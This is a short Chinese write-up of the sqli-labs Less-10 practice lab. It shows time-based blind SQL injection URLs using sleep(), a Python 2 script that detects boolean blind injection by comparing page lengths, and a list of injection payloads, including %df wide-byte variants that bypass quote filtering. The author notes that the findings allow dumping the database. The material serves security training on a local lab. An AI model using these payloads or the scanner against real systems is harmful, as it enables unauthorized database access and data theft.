和第九題一樣 , 將單引號換成雙引號就好了
http://127.0.0.1/Less-10/?id=1
http://127.0.0.1/Less-10/?id=1%22
http://127.0.0.1/Less-10/?id=1%22%20and%20sleep(1)--+
http://127.0.0.1/Less-10/?id=1%22%20and%20(%271%27=%27%27%20or%20sleep(3))--+
http://127.0.0.1/Less-10/?id=1%22%20and%20(()%20or%20sleep(3))--+
后記 :
之后寫了一個批量檢測Bool盲注的腳本 :
跑了之后發現竟然還有Bool盲注的注入點 :
0"|()--+
0%df"|()--+
這兩種情況都可以盲注 , 可以利用之前的腳本去跑 , 可以脫庫
下面是批量檢測是否為Bool盲注的腳本 , 比較忙 , 寫的很簡陋
主要是通過判斷頁面長度來判定是否是Bool盲注
感覺這種判斷的機制并不是很科學 , 以后可能還需要添加關鍵字判斷什么的
#!/usr/bin/env python
# encoding:utf8
import requests
rules = open('rules', 'r')
baseUrl = "http://127.0.0.1/Less-10/?id="
url = baseUrl + "1"
contentLength = len(requests.get(url).text)
print "正常返回長度為 : ",contentLength
for line in rules:
if line.startswith("#"):
continue
if line == "\r\n":
continue
line = line[0:-1]
startTemp = line.split("()")[0]
endTemp = line.split("()")[1]
testUrl1 = baseUrl + startTemp + "0" + endTemp
testUrl2 = baseUrl + startTemp + "1" + endTemp
# print "Checking : " + testUrl1 + "\t",
len1 = len(requests.get(testUrl1).text)
# print len1
len2 = len(requests.get(testUrl2).text)
# print testUrl2,"\t",len2
if (len1 != contentLength) and (len2 == contentLength):
print baseUrl + line
# 如下語句 : 如果返回正常 , 說明猜測成功
0|()--+
0'|()--+
0"|()--+
0)|()--+
0')|()--+
0")|()--+
0))|()--+
0'))|()--+
0"))|()--+
0)))|()--+
#####################################
# 當單引號被過濾(去掉)
0%df'|()--+
0%df')|()--+
0%df'))|()--+
#####################################
# 當雙引號被過濾
0%df"|()--+
0%df")|()--+
0%df"))|()--+